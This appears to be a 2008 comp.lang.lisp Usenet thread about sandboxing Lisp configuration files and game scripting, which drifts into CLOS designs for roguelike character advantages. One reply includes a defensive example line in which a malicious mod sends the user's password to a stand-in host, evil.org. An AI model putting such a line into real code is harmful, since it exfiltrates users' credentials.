From: ············@gmail.com
Subject: restricted lisp
Date: 
Message-ID: <9ab03cce-514e-4612-8b90-ad8aa35c3706@s13g2000prd.googlegroups.com>
Suppose a Lisp program is given some initial parameters using a config
file. Not so exciting. But when this config is somewhat complex, as
for an Mail Transfer Agent where you must expose some routing tables
depending of dynamic values, one would like to allow to write it
using ... Lisp. How would you do that, considering that just read/eval
would lead to security issues, especially if the program is run as
root or has suid privileges ?

From: Pascal J. Bourguignon
Subject: Re: restricted lisp
Date: 
Message-ID: <7c3as3qxr5.fsf@pbourguignon.anevia.com>
············@gmail.com writes:

> Suppose a Lisp program is given some initial parameters using a config
> file. Not so exciting. But when this config is somewhat complex, as
> for an Mail Transfer Agent where you must expose some routing tables
> depending of dynamic values, one would like to allow to write it
> using ... Lisp. How would you do that, considering that just read/eval
> would lead to security issues, especially if the program is run as
> root or has suid privileges ?

Ignore security issues, and let the administrator do his job.

Note how ~/.emacs is a plain emacs lisp program, and there's no
security issue by letting user program random code in it.


Of course, the alternative is to dumb down your software and to
provide just one flag for your lusers:

        +--------------------------------+
        |   ( ) magic   (*) more magic   | 
        |           [OK]                 |
        +--------------------------------+

-- 
__Pascal Bourguignon__
From: Robert Uhl
Subject: Re: restricted lisp
Date: 
Message-ID: <m31w7jcwz9.fsf@latakia.dyndns.org>
···@informatimago.com (Pascal J. Bourguignon) writes:

> ············@gmail.com writes:
>
>> Suppose a Lisp program is given some initial parameters using a config
>> file. Not so exciting. But when this config is somewhat complex, as
>> for an Mail Transfer Agent where you must expose some routing tables
>> depending of dynamic values, one would like to allow to write it
>> using ... Lisp. How would you do that, considering that just read/eval
>> would lead to security issues, especially if the program is run as
>> root or has suid privileges ?
>
> Ignore security issues, and let the administrator do his job.
>
> Note how ~/.emacs is a plain emacs lisp program, and there's no
> security issue by letting user program random code in it.

For mail & emacs, that works well--but in the case of a single-player
game it's not really ideal.  I'm plugging along with a roguelike written
in Lisp, and it would be _really_ cool to offer Lisp scripting.  I
haven't yet figured out how to do that and not let the player just (setf
(hit-points ENEMY) -45).  There was a great thread a few years ago, but
I can't seem to find it...

Not that I'm there yet anyway.  At the moment I'm trying to figure out
the cleanest way to add advantages and disadvantages to characters.

-- 
Robert Uhl <http://public.xdi.org/=ruhl>
Do you know it only took Germany three days to conquer France in WWII?
And that's because it was raining.  --John Xereas, Manager, DC Improv.
From: Paul Donnelly
Subject: Re: restricted lisp
Date: 
Message-ID: <87prv2zzwh.fsf@plap.localdomain>
Robert Uhl <·········@NOSPAMgmail.com> writes:

> ···@informatimago.com (Pascal J. Bourguignon) writes:
>
>> ············@gmail.com writes:
>>
>> Note how ~/.emacs is a plain emacs lisp program, and there's no
>> security issue by letting user program random code in it.
>
> For mail & emacs, that works well--but in the case of a single-player
> game it's not really ideal.  I'm plugging along with a roguelike written
> in Lisp, and it would be _really_ cool to offer Lisp scripting.  I
> haven't yet figured out how to do that and not let the player just (setf
> (hit-points ENEMY) -45).

A little OT, but in a single player game, why wouldn't you let the
player just (setf (hit-points ENEMY) -45)? It's not like there's
anything stopping the player from e.g. starting up a Swank server and
messing with the game state to their heart's content. In a single player
game, I say let them cheat. You probably can't stop them, and probably
don't need to.

I don't see the point of security measures like this unless there's a
possibility of code injection by a third party. I think all you need to
do in this case is provide an API for the player to script the game
without accidentally corrupting it. If it were a multiplayer game it
might be worthwhile to make cheating take a little more work.
From: Maciej Katafiasz
Subject: Re: restricted lisp
Date: 
Message-ID: <forlea$g3d$1@news.net.uni-c.dk>
Den Mon, 11 Feb 2008 20:12:14 -0600 skrev Paul Donnelly:

>>> Note how ~/.emacs is a plain emacs lisp program, and there's no
>>> security issue by letting user program random code in it.
>>
>> For mail & emacs, that works well--but in the case of a single-player
>> game it's not really ideal.  I'm plugging along with a roguelike
>> written in Lisp, and it would be _really_ cool to offer Lisp scripting.
>>  I haven't yet figured out how to do that and not let the player just
>> (setf (hit-points ENEMY) -45).
> 
> A little OT, but in a single player game, why wouldn't you let the
> player just (setf (hit-points ENEMY) -45)? It's not like there's
> anything stopping the player from e.g. starting up a Swank server and
> messing with the game state to their heart's content. In a single player
> game, I say let them cheat. You probably can't stop them, and probably
> don't need to.

Short of signing all the scripts allowed to (setf (hit-points ENEMY) -45) 
with your public key, it's not really possible. And pointless, as you 
note, if they want to cheat their own game, why not let them? And how do 
you distinguish cheats from a mod implementing a one-shot-one-kill super-
weapon or something similar?

> I don't see the point of security measures like this unless there's a
> possibility of code injection by a third party. I think all you need to
> do in this case is provide an API for the player to script the game
> without accidentally corrupting it. If it were a multiplayer game it
> might be worthwhile to make cheating take a little more work.

But then it'd be based on (a form of) distributed arbitration and voting, 
rather than trying to limit what's possible in the interpreter. As has 
been noted in many earlier threads, most recently the "Getting Lisp to 
reflect on its own environment" one, trying to put that kind of smarts 
into your language is equivalent to solving the halting problem, or even 
more interestingly, proving that your app is not a head in a jar. Since 
the global context is the only one where it makes sense to talk about 
cheats, it's not even useful to have the local instance guard against 
them, instead you take the NASA approach and let your four computers vote 
on who's the lying bastard.

That said, you really want to make sure it's not possible for a random 
mod to do (send (password (current-user)) ······@evil.org"), so you still 
want the sandboxing interpreter, but it's remarkably easier to define 
what kind of things you want than if you tried to make it uncheatable[1].

Cheers,
Maciej

[1] Sadly, it's not as black & white as one might wish it were. I'd 
recommend you take a long and intense look at the history of WoW patches 
with regard to their scripting API. As one example, at one point mod-to-
mod communication channels were introduced, to make things like 
coordinated raid helpers possible. This was quickly adapted to implement 
auto-detect-updates-and-offer-a-download systems for mods. In a 
completely unrelated part of the API, mods were allowed to delete unique 
items from the inventory without confirmation. Both were individually 
rather harmless, but combined, they led to virus-like mods that in 
addition to any desirable functionality, also implemented a tiny packet 
of death function. So you could make every user of your mod become 
completely naked and inventoryless at a press of a button. Therefore in 
recent versions it's no longer possible for mods to delete unique items 
without an unscriptable confirmation from the player.
From: Robert Uhl
Subject: Re: restricted lisp
Date: 
Message-ID: <m33arwc19j.fsf@latakia.dyndns.org>
Paul Donnelly <·············@sbcglobal.net> writes:

> Robert Uhl <·········@NOSPAMgmail.com> writes:
>
>> For mail & emacs, that works well--but in the case of a single-player
>> game it's not really ideal.  I'm plugging along with a roguelike written
>> in Lisp, and it would be _really_ cool to offer Lisp scripting.  I
>> haven't yet figured out how to do that and not let the player just (setf
>> (hit-points ENEMY) -45).
>
> A little OT, but in a single player game, why wouldn't you let the
> player just (setf (hit-points ENEMY) -45)?

Same reason Nethack saves death to its player file _before_ displaying
the death screen...

The game itself may be single-player, but folks compete to get further
along.

I would of course have a 'wizard mode' which would expose everything.

> It's not like there's anything stopping the player from e.g. starting
> up a Swank server and messing with the game state to their heart's
> content.

If Swank's off there is:-)

> In a single player game, I say let them cheat. You probably can't stop
> them, and probably don't need to.

Obviously anyone who has the source can do anything he wants.  Still,
there's no reason to make it any easier than it already is...

-- 
Robert Uhl <http://public.xdi.org/=ruhl>
The cover art on the O'Reilly tome isn't meant to anthropomorphize
sendmail itself after all; it's actually a subliminal warning that
one'd need to be bats to want to use sendmail.   --Anthony de Boer
From: Paul Donnelly
Subject: Re: restricted lisp
Date: 
Message-ID: <87abm4zq2t.fsf@plap.localdomain>
Robert Uhl <·········@NOSPAMgmail.com> writes:

> Paul Donnelly <·············@sbcglobal.net> writes:
>
>> Robert Uhl <·········@NOSPAMgmail.com> writes:
>>
>> A little OT, but in a single player game, why wouldn't you let the
>> player just (setf (hit-points ENEMY) -45)?
>
> Same reason Nethack saves death to its player file _before_ displaying
> the death screen...

That only makes cheating a tiny bit harder. Hell, you could even write a
program that watches the save file and automatically backs it up each
time the game is saved. I'm envisioning a ten-line shell
script. Nethack's method is little more than a "please don't cheat"
note.

Likewise, I think the lack of any obvious interface to mess with the
game's internals is an equally effective "please don't cheat".

>> It's not like there's anything stopping the player from e.g. starting
>> up a Swank server and messing with the game state to their heart's
>> content.
>
> If Swank's off there is:-)

Unless you distribute the game only as a single compiled exe (is that
possible?), you probably can't stop them from starting Swank.

>> In a single player game, I say let them cheat. You probably can't stop
>> them, and probably don't need to.
>
> Obviously anyone who has the source can do anything he wants.  Still,
> there's no reason to make it any easier than it already is...

True, but how much harder can you actually make it? Good luck with your
security, but I'm a little dubious that it's necessary.
From: Maciej Katafiasz
Subject: Re: restricted lisp
Date: 
Message-ID: <fov4d6$5h7$1@news.net.uni-c.dk>
Den Wed, 13 Feb 2008 08:41:12 -0700 skrev Robert Uhl:

> Paul Donnelly <·············@sbcglobal.net> writes:
> 
>> Robert Uhl <·········@NOSPAMgmail.com> writes:
>>
>>> For mail & emacs, that works well--but in the case of a single-player
>>> game it's not really ideal.  I'm plugging along with a roguelike
>>> written in Lisp, and it would be _really_ cool to offer Lisp
>>> scripting.  I haven't yet figured out how to do that and not let the
>>> player just (setf (hit-points ENEMY) -45).
>>
>> A little OT, but in a single player game, why wouldn't you let the
>> player just (setf (hit-points ENEMY) -45)?
> 
> Same reason Nethack saves death to its player file _before_ displaying
> the death screen...
> 
> The game itself may be single-player, but folks compete to get further
> along.

And how exactly do you plan to agree that with scripting? Either you have 
a canonical version of the game you can measure the progress in, or you 
don't. Notice how Nethack isn't scriptable at all.

Cheers,
Maciej
From: Robert Uhl
Subject: Re: restricted lisp
Date: 
Message-ID: <m3k5l8a40e.fsf@latakia.dyndns.org>
Maciej Katafiasz <········@gmail.com> writes:
>
>> Same reason Nethack saves death to its player file _before_ displaying
>> the death screen...
>> 
>> The game itself may be single-player, but folks compete to get further
>> along.
>
> And how exactly do you plan to agree that with scripting? Either you
> have a canonical version of the game you can measure the progress in,
> or you don't. Notice how Nethack isn't scriptable at all.

Well, my 'scripting' is (planned to be) little more than customising
stuff like attack preferences and such like--rather than have to
manually keystroke in (unwield), wield flame-retardant shield, wield
dragon-slaying sword, turn on stealth when one sees a sleeping dragon,
one could script that away.  Or something.

I'm nowhere near user scripting right now:-)

My big challenge at the moment (I might post separately about it) is how
to represent advantages.  These are things which can get involved just
about anywhere in the code (e.g. Ambidextrous means that off-hand
attacks have no penalty, while Night Vision might let one see in the
dark, and Danger Sense might give one a warning when there's a Big Nasty
nearby); if every function that _could_ be affected by an advantage
checked for it then most functions would end up being messes of CONDs.
My instinct when I see great heaps of CONDs is to break out generic
functions instead--but advantages belong to individual instancess, not
classes.  Which means I _could_ define a class for each individual, or
figure out a better way of doing things.

-- 
Robert Uhl <http://public.xdi.org/=ruhl>
It's having to actually make money that tends to turn media outlets right wing,
as most left-wing rags go to the wall fairly quickly when they find that you
can't keep the presses running on tofu and group hugs alone.   --Peter Corlett 
From: Paul Donnelly
Subject: Re: restricted lisp
Date: 
Message-ID: <87ve4sxdde.fsf@plap.localdomain>
Robert Uhl <·········@NOSPAMgmail.com> writes:

> My big challenge at the moment (I might post separately about it) is how
> to represent advantages.  These are things which can get involved just
> about anywhere in the code (e.g. Ambidextrous means that off-hand
> attacks have no penalty, while Night Vision might let one see in the
> dark, and Danger Sense might give one a warning when there's a Big Nasty
> nearby); if every function that _could_ be affected by an advantage
> checked for it then most functions would end up being messes of CONDs.
> My instinct when I see great heaps of CONDs is to break out generic
> functions instead--but advantages belong to individual instancess, not
> classes.  Which means I _could_ define a class for each individual, or
> figure out a better way of doing things.

Seems like any time the advantages come into play, you're going to be
"rolling" (to use pen & paper parlance) for a success/fail, amount of
damage, or similar. Could you set up your roll system so that it
consults a list of advantages? E.g.:

(defparameter *player-advantages* '((snake-eater . 1)
                                    (spidey-sense . 2)))

(defun quantify (advantages)
  (loop
    for adv in advantages
    summing (let ((has (assoc adv *player-advantages*)))
              (if has (cdr has) 0))))

Then a roll can just incorporate the returned value into its
calculation:

(defun get-poisoned-p (poison-strength)
  (< (+ (* poison-resistance full-moon-modifier)
        (quantify '(snake-eater chem-resistance)))
     poison-strength))

Or you might want to multiply the advantages by something, or do
whatever. But I think the easiest way to go about this is to define a
lookup function that gets you some pluggable data from a list of
advantages. For a little more flexibility in your math, you could
drop the loop and the summing and query individually (e.g (bonus
'spidey-sense) => 2).
From: Robert Uhl
Subject: Re: restricted lisp
Date: 
Message-ID: <m33arv9j3h.fsf@latakia.dyndns.org>
Paul Donnelly <·············@sbcglobal.net> writes:
>
> Seems like any time the advantages come into play, you're going to be
> "rolling" (to use pen & paper parlance) for a success/fail, amount of
> damage, or similar. Could you set up your roll system so that it
> consults a list of advantages?

[snip]

Yeah, that's roughly what I do for the rolling-effecting advantages.
But then there's the advantage that gives one extra strength, but only
for lifting things, which isn't a roll.  And then there's the advantage
which lets one fly, or spew fire, or see in the darkness, or have
empathy with plants (I'm not making that one up).

I'm pretty much going with your idea: associating a list of advantages
with each character and checking to see if they apply in any given
situation.  I'm hoping that as I use 'em a lot a better way will make
itself known.

Today I'm pretty happy: skills are finally working properly!  I realised
that all attributes (basic attributes, secondary attributes and skills)
are just things-wot-are-rolled-against, and that everything has a base
value (either a number, or some other attribute, or the average of two
other attributes) which is modified by adding some number of points,
which yield some final number--different rules and costs in place for
each, of course--and then it all just came together.

Man, it's _nice_ to spend some time on something fun!

-- 
Robert Uhl <http://public.xdi.org/=ruhl>
Dumb as they are, lusers are rather like dogs in that they often know
when they've been bad (not that it causes them to behave better later)
and they can tell when you disapprove of them, even if they don't
understand why and you didn't say anything explicitly disapproving.
Unlike dogs, they aren't conditioned to obey and seek our approval,
which is why we have to LART them.             --Steve VanDevender
From: Thomas A. Russ
Subject: Re: restricted lisp
Date: 
Message-ID: <ymiejbfz61f.fsf@blackcat.isi.edu>
Robert Uhl <·········@NOSPAMgmail.com> writes:

> My big challenge at the moment (I might post separately about it) is how
> to represent advantages.  These are things which can get involved just
> about anywhere in the code (e.g. Ambidextrous means that off-hand
> attacks have no penalty, while Night Vision might let one see in the
> dark, and Danger Sense might give one a warning when there's a Big Nasty
> nearby); if every function that _could_ be affected by an advantage
> checked for it then most functions would end up being messes of CONDs.
> My instinct when I see great heaps of CONDs is to break out generic
> functions instead--but advantages belong to individual instancess, not
> classes.  Which means I _could_ define a class for each individual, or
> figure out a better way of doing things.

Well, one possible generic-function way to do this would be by using
mix-in style classes for each of the advantages.  And then define
appropriate methods.  I think this would still get fairly hairy, mainly
since there are lots of potential interactions between different
advantages and perhaps between competing advantages from different
sides.

For example, suppose you had something like:
   ambidextrous:     off-hand attacks don't suffer normal penalty
   2-hand training:  off-hand attacks don't suffer normal penalty
   clumsy:           attacks suffer penalty X

You want to remove some parts of the penalty, but not all of it.  So
neither zeroing the penalty entirely nor trying to offset it by adding a
bonus equal to the normal off-hand penalty would fail.  The management
of the interactions is therefore pretty specific.

That may mean that you really need to consider the factors that affect a
particular computation at the place where those effects take place.
That may introduce a lot of conditional code, but it seems the only way
to be able to easily manage interactions.  If there is potential mutual
interaction, then it's really hard to come up with a modular solution,
since the domain isn't actually modular.


Also, for a different method of combining things like that, there was
the method dispatch system in the Loom KR language
(<http://www.isi.edu/isd/LOOM>), which based its dispatch on
characteristics of the instances in addition to pure class-based
approaches.  I suppoes one could use Loom as the basic KR system behind
this game.  That would be cool (but then again, as a Loom implementer, I
may be a bit biased).

-- 
Thomas A. Russ,  USC/Information Sciences Institute
From: Robert Uhl
Subject: Re: restricted lisp
Date: 
Message-ID: <m3y79n83zf.fsf@latakia.dyndns.org>
···@sevak.isi.edu (Thomas A. Russ) writes:

> Robert Uhl <·········@NOSPAMgmail.com> writes:
>
>> My big challenge at the moment (I might post separately about it) is how
>> to represent advantages.  These are things which can get involved just
>> about anywhere in the code (e.g. Ambidextrous means that off-hand
>> attacks have no penalty, while Night Vision might let one see in the
>> dark, and Danger Sense might give one a warning when there's a Big Nasty
>> nearby); if every function that _could_ be affected by an advantage
>> checked for it then most functions would end up being messes of CONDs.
>> My instinct when I see great heaps of CONDs is to break out generic
>> functions instead--but advantages belong to individual instancess, not
>> classes.  Which means I _could_ define a class for each individual, or
>> figure out a better way of doing things.
>
> Well, one possible generic-function way to do this would be by using
> mix-in style classes for each of the advantages.  And then define
> appropriate methods.  I think this would still get fairly hairy, mainly
> since there are lots of potential interactions between different
> advantages and perhaps between competing advantages from different
> sides.
>
> For example, suppose you had something like:
>    ambidextrous:     off-hand attacks don't suffer normal penalty
>    2-hand training:  off-hand attacks don't suffer normal penalty
>    clumsy:           attacks suffer penalty X

That's actually _exactly_ my first design.  But here's the troubling
part: a given human may or may not be ambidextrous or have two-handed
training or be clumsy--and since inheritance works on the class level
that means that each individual would get his own class:

(defclass class-1128 (human ambidextrous) ())

Lisp is nicely dynamic, which means that this is completely possible; I
just worried that it might be a bit of an abuse of CLOS.

You mention the issue of possible interactions--that's another
interesting one.  Some of them are fairly arcane, but _most_ are
more-or-less clean, and I _think_ I could ignore the nasty ones for a
good long while.

Part of the problem is that the game system in question was definitely
designed to be used by people and not machines.  I sometimes think that
accurately representing the entire system would be equivalent to
natural-language processing...

> Also, for a different method of combining things like that, there was
> the method dispatch system in the Loom KR language
> (<http://www.isi.edu/isd/LOOM>), which based its dispatch on
> characteristics of the instances in addition to pure class-based
> approaches.

Now _that_ could be really interesting!  In this case--in which two
dissimilar creatures could have the same advantage, but it could
interact with their other advantages in weird ways--that might be the
right thing to use.  I'll have to check it out.  Thanks for the pointer.

-- 
Robert Uhl <http://public.xdi.org/=ruhl>
Presumably the reason that Windows will never be FOSS is that if
the source code were ever to see the light of day, it would summon
Cthulhu himself.                                           --Brian
From: vtail
Subject: Re: restricted lisp
Date: 
Message-ID: <1cf405cf-b48e-4f01-9282-8f7078a1d1ec@z17g2000hsg.googlegroups.com>
On Feb 14, 6:20 pm, Robert Uhl <·········@NOSPAMgmail.com> wrote:
> ····@sevak.isi.edu (Thomas A. Russ) writes:
>
>
>
> > Robert Uhl <·········@NOSPAMgmail.com> writes:
>
> >> My big challenge at the moment (I might post separately about it) is how
> >> to represent advantages.  These are things which can get involved just
> >> about anywhere in the code (e.g. Ambidextrous means that off-hand
> >> attacks have no penalty, while Night Vision might let one see in the
> >> dark, and Danger Sense might give one a warning when there's a Big Nasty
> >> nearby); if every function that _could_ be affected by an advantage
> >> checked for it then most functions would end up being messes of CONDs.
> >> My instinct when I see great heaps of CONDs is to break out generic
> >> functions instead--but advantages belong to individual instancess, not
> >> classes.  Which means I _could_ define a class for each individual, or
> >> figure out a better way of doing things.
>
> > Well, one possible generic-function way to do this would be by using
> > mix-in style classes for each of the advantages.  And then define
> > appropriate methods.  I think this would still get fairly hairy, mainly
> > since there are lots of potential interactions between different
> > advantages and perhaps between competing advantages from different
> > sides.
>
> > For example, suppose you had something like:
> >    ambidextrous:     off-hand attacks don't suffer normal penalty
> >    2-hand training:  off-hand attacks don't suffer normal penalty
> >    clumsy:           attacks suffer penalty X
>
> That's actually _exactly_ my first design.  But here's the troubling
> part: a given human may or may not be ambidextrous or have two-handed
> training or be clumsy--and since inheritance works on the class level
> that means that each individual would get his own class:
>
> (defclass class-1128 (human ambidextrous) ())
>
> Lisp is nicely dynamic, which means that this is completely possible; I
> just worried that it might be a bit of an abuse of CLOS.

Hi Robert,

I'm reading "The art of the Metaobject Protocol" right now, and it
just struck me that section 2.4 at p. 67, "Programmatic Creation of
New Classes", may be what you want. E.g. you can say

(make-programmatic-instance '(human ambidextrous))

and receive an instance of the class that inherits from both human and
ambidextrous; the class will be created if it doesn't exists yet. And
of course you can always say

(change-class human123 (find-programmatic-class '(human
ambidextrous)))

for the existing human123 that just have got an ambidextrous ability.

The definition for make-programmatic-instance is

(defun make-programmatic-instance (superclass-names &rest initargs)
  (apply #'make-instance
	 (find-programmatic-class
	  (mapcar #'find-class superclass-names))
	 initargs))

(defun find-programmatic-class (superclasses)
  (let ((class (find-id
		#'(lambda (class)
		    (equal superclasses
			   (class-direct-superclasses class)))
		(class-direct-subclasses (car superclasses)))))
    (if class
	class
	(make-programmatic-class superclasses))))

(defun make-programmatic-class (superclasses)
  (make-instance 'standard-class
		 :name (mapcar #'class-name superclasses)
		 :direct-superclasses superclasses
		 :direct-slots ()))

Hope that helps.

Regards,
Victor.
From: Maciej Katafiasz
Subject: Re: restricted lisp
Date: 
Message-ID: <fp236r$5h7$2@news.net.uni-c.dk>
Den Wed, 13 Feb 2008 15:24:49 -0700 skrev Robert Uhl:

> My big challenge at the moment (I might post separately about it) is how
> to represent advantages.  These are things which can get involved just
> about anywhere in the code (e.g. Ambidextrous means that off-hand
> attacks have no penalty, while Night Vision might let one see in the
> dark, and Danger Sense might give one a warning when there's a Big Nasty
> nearby); if every function that _could_ be affected by an advantage
> checked for it then most functions would end up being messes of CONDs.
> My instinct when I see great heaps of CONDs is to break out generic
> functions instead--but advantages belong to individual instancess, not
> classes.  Which means I _could_ define a class for each individual, or
> figure out a better way of doing things.

Right, that sounds almost like a job for ContextL, if only it weren't for 
that pesky instance business. Pascal Constanza was thinking about 
adapting ContextL to per-instance polymorphism recently, maybe he has 
some ideas worth stealing, if not code :). 

My own suggestions would be threefold:

1) Closures. Have generators like MAKE-ATTACK-FUNCTION or MAKE-SIGHT-
FUNCTION, whose results you'd store in objects' slots. This way the COND 
complexity is mostly localised to MAKE-* functions, which you could 
further improve with macros.

2) Custom method combination + CALL-NEXT-METHOD.

3) Generic functions with EQL specialisers. For instance:
   (defun attack (player)
     (funcall 'attack-fn (player (handedness-of player))))

   (defmethod attack-fn (player (handedness (eql 'both)))
	...)

Each of them has the problem of you being able to factor out the common 
functionality in a way that doesn't depend on the varying factors, but 
really every solution that's not COND will have that problem.

Cheers,
Maciej
From: Pascal Costanza
Subject: Re: restricted lisp
Date: 
Message-ID: <61jk4bF1v04vkU1@mid.individual.net>
Maciej Katafiasz wrote:
> Den Wed, 13 Feb 2008 15:24:49 -0700 skrev Robert Uhl:
> 
>> My big challenge at the moment (I might post separately about it) is how
>> to represent advantages.  These are things which can get involved just
>> about anywhere in the code (e.g. Ambidextrous means that off-hand
>> attacks have no penalty, while Night Vision might let one see in the
>> dark, and Danger Sense might give one a warning when there's a Big Nasty
>> nearby); if every function that _could_ be affected by an advantage
>> checked for it then most functions would end up being messes of CONDs.
>> My instinct when I see great heaps of CONDs is to break out generic
>> functions instead--but advantages belong to individual instancess, not
>> classes.  Which means I _could_ define a class for each individual, or
>> figure out a better way of doing things.
> 
> Right, that sounds almost like a job for ContextL, if only it weren't for 
> that pesky instance business. Pascal Constanza was thinking about 
> adapting ContextL to per-instance polymorphism recently, maybe he has 
> some ideas worth stealing, if not code :). 

Ideas yes, but no code yet. The idea goes beyond what is possible with 
the CLOS MOP. Basically, we need a dynamically scoped change-class.


Pascal

-- 
1st European Lisp Symposium (ELS'08)
http://prog.vub.ac.be/~pcostanza/els08/

My website: http://p-cos.net
Common Lisp Document Repository: http://cdr.eurolisp.org
Closer to MOP & ContextL: http://common-lisp.net/project/closer/
From: vanekl
Subject: Re: restricted lisp
Date: 
Message-ID: <foi7p4$80p$1@aioe.org>
············@gmail.com wrote:
> Suppose a Lisp program is given some initial parameters using a config
> file. Not so exciting. But when this config is somewhat complex, as
> for an Mail Transfer Agent where you must expose some routing tables
> depending of dynamic values, one would like to allow to write it
> using ... Lisp. How would you do that, considering that just read/eval
> would lead to security issues, especially if the program is run as
> root or has suid privileges ?

I would write a simple recursive decent parser.
Parse the text input, throw out anything that smells funny
(with a warning), and verify that all else falls within the
specified domains.
Reading text doesn't mean it has to be evaluated.
--
Those who would give up a little freedom to get a little security
shall soon have neither.  Benjamin Franklin